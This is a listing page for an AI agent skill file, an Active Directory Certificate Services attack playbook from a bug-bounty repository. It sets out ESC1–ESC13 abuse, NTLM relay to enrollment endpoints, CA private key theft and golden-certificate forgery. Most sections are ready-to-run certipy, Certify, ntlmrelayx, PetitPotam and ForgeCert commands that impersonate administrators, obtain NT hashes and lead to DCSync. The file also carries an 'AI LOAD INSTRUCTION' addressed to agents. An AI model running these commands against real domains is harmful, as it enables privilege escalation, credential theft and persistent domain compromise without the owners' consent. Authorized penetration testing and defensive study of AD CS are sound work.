Active directory certificate services
Skill ShulkwiSEC/bb-huge/skills/curated/active-directory-certificate-services
bb-huge π€ , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-certificate-servicesAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
SKILL.md
9.9 KB, as published. Nobody here has run it
SKILL: AD CS Attack Playbook β Expert Guide
AI LOAD INSTRUCTION: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
0. RELATED ROUTING
Before going deep, consider loading:
- active-directory-acl-abuse for ACL-based attacks that enable ESC4 (template modification)
- active-directory-kerberos-attacks for Kerberos techniques after obtaining certificates
- ntlm-relay-coercion for ESC8 (relay to HTTP enrollment endpoint)
- windows-lateral-movement for using obtained certificates for lateral movement
Advanced Reference
Also load ADCS_ESC_MATRIX.md when you need:
- ESC1βESC13 quick reference table with conditions, impact, and tool commands
- One-liner exploitation commands per ESC variant
- Detection indicators per technique
1. AD CS ARCHITECTURE OVERVIEW
Certificate Authority (CA)
β
βββ Enterprise CA (AD-integrated, issues certs based on templates)
β βββ Certificate Templates (define who can enroll, what EKUs, subject settings)
β βββ Enrollment endpoints: HTTP (certsrv), RPC, DCOM
β βββ Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
β
βββ Template Key Settings:
β βββ Subject Alternative Name (SAN): who the cert represents
β βββ Extended Key Usage (EKU): what the cert allows
β βββ Enrollment permissions: who can request
β βββ Issuance requirements: manager approval, authorized signatures
β
βββ Certificate β Kerberos Auth Flow:
User presents cert β PKINIT β KDC verifies β issues TGT
2. ENUMERATION
# Certipy (recommended β comprehensive)
certipy find -u [email protected] -p password -dc-ip DC_IP -stdout
certipy find -u [email protected] -p password -dc-ip DC_IP -vulnerable -stdout
# Certify (from Windows)
Certify.exe find
Certify.exe find /vulnerable
Certify.exe cas # Enumerate CAs
# Manual LDAP query for templates
ldapsearch -H ldap://DC_IP -D "[email protected]" -w password \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
"(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
3. ESC1 β ENROLLEE SUPPLIES SUBJECT
Condition: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.
# Certipy
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn [email protected]
# Certify (Windows)
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# β NT hash of administrator
4. ESC2 β ANY PURPOSE EKU
Condition: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.
# Same as ESC1 exploitation
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template AnyPurposeTemplate -upn [email protected]
5. ESC3 β ENROLLMENT AGENT
Condition: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.
# Step 1: Request enrollment agent cert
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template EnrollmentAgent
# Step 2: Use enrollment agent cert to request on behalf of admin
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
6. ESC4 β TEMPLATE ACL MISCONFIGURATION
Condition: Low-privilege user has write access to certificate template object.
# Modify template to become ESC1 vulnerable
# Using Certipy:
certipy template -u [email protected] -p password -template VulnTemplate \
-save-old -dc-ip DC_IP
# Template is now ESC1 β exploit as ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn [email protected]
# Restore original template (cleanup)
certipy template -u [email protected] -p password -template VulnTemplate \
-configuration old_config.json -dc-ip DC_IP
7. ESC6 β EDITF_ATTRIBUTESUBJECTALTNAME2
Condition: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled β any template becomes ESC1.
# Check if flag is set
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags
# Exploit: request any template with SAN
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template User -upn [email protected]
8. ESC7 β CA OFFICER / MANAGER PERMISSIONS
Condition: User has ManageCA or ManageCertificates permission on the CA.
# With ManageCA: enable SubCA template (always allows SAN)
certipy ca -u [email protected] -p password -ca CA-NAME -dc-ip DC_IP \
-enable-template SubCA
# Request SubCA cert with admin SAN (will be denied β "pending")
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template SubCA -upn [email protected]
# With ManageCertificates: approve the pending request
certipy ca -u [email protected] -p password -ca CA-NAME -dc-ip DC_IP \
-issue-request REQUEST_ID
# Retrieve the issued certificate
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-retrieve REQUEST_ID
9. ESC8 β NTLM RELAY TO HTTP ENROLLMENT
Condition: CA has HTTP enrollment endpoint (certsrv) without HTTPS enforcement.
# Setup relay to enrollment endpoint
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce DC authentication (PetitPotam, PrinterBug, etc.)
PetitPotam.py RELAY_HOST DC01.domain.com
# DC authenticates β relay β certificate issued for DC01$
# Authenticate with certificate
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# β DC01$ hash β DCSync
10. ESC9-ESC13 β NEWER DISCOVERIES
ESC9: No Security Extension (StrongCertificateBindingEnforcement = 0/1)
Weak certificate mapping allows impersonation when CT_FLAG_NO_SECURITY_EXTENSION is set.
# Change victim's UPN to admin, request cert, change back
certipy shadow auto -u [email protected] -p pass -account victim -dc-ip DC_IP
ESC10: Weak Certificate Mapping (Registry-based)
Similar to ESC9 but exploits CertificateMappingMethods registry value on DC.
ESC11: NTLM Relay to RPC Enrollment
Relay NTLM to the CA's RPC interface (IF_ENFORCEENCRYPTICERTREQUEST not set).
ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
-smb2support --adcs --template DomainController
ESC13: OID Group Link (Issuance Policy)
Template's issuance policy OID is linked to a group β certificate grants that group membership.
certipy req -u [email protected] -p pass -ca CA-NAME -target CA_HOST \
-template ESC13Template
# Certificate grants membership in linked group
11. CERTIFICATE-BASED PERSISTENCE
Golden Certificate
With CA private key β forge any certificate.
# Extract CA private key (requires admin on CA server)
certipy ca -backup -u [email protected] -p password -ca CA-NAME -target CA_HOST
# Forge certificate for any user
certipy forge -ca-pfx ca.pfx -upn [email protected] -subject "CN=Administrator,CN=Users,DC=domain,DC=com"
# Authenticate with forged cert
certipy auth -pfx forged.pfx -dc-ip DC_IP
Persistence: Valid until CA certificate expires or CA private key is rotated.
ForgeCert (Windows)
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
--SubjectAltName "[email protected]" --NewCertPath forged.pfx --NewCertPassword "pass"
12. AD CS ATTACK DECISION TREE
Targeting AD CS
β
βββ Enumerate: certipy find -vulnerable
β
βββ Vulnerable template found?
β βββ Enrollee can set SAN + Client Auth EKU?
β β βββ ESC1 β request cert with admin UPN (Β§3)
β βββ Any Purpose EKU?
β β βββ ESC2 β same as ESC1 (Β§4)
β βββ Enrollment Agent template available?
β β βββ ESC3 β enroll as agent, then on-behalf-of (Β§5)
β βββ OID group link in issuance policy?
β βββ ESC13 β request cert for group membership (Β§10)
β
βββ Write access to template?
β βββ ESC4 β modify template to ESC1 condition (Β§6)
β
βββ CA misconfiguration?
β βββ EDITF_ATTRIBUTESUBJECTALTNAME2 flag?
β β βββ ESC6 β any template becomes ESC1 (Β§7)
β βββ ManageCA / ManageCertificates permission?
β β βββ ESC7 β enable SubCA template, approve requests (Β§8)
β βββ HTTP enrollment without HTTPS?
β βββ ESC8 β NTLM relay to certsrv (Β§9)
β
βββ Weak certificate mapping on DC?
β βββ StrongCertificateBindingEnforcement < 2?
β β βββ ESC9 β UPN manipulation + cert request (Β§10)
β βββ CertificateMappingMethods misconfigured?
β βββ ESC10 β similar UPN abuse (Β§10)
β
βββ RPC enrollment without encryption?
β βββ ESC11 β NTLM relay to RPC (Β§10)
β
βββ Already CA admin?
βββ Golden certificate for persistence (Β§11)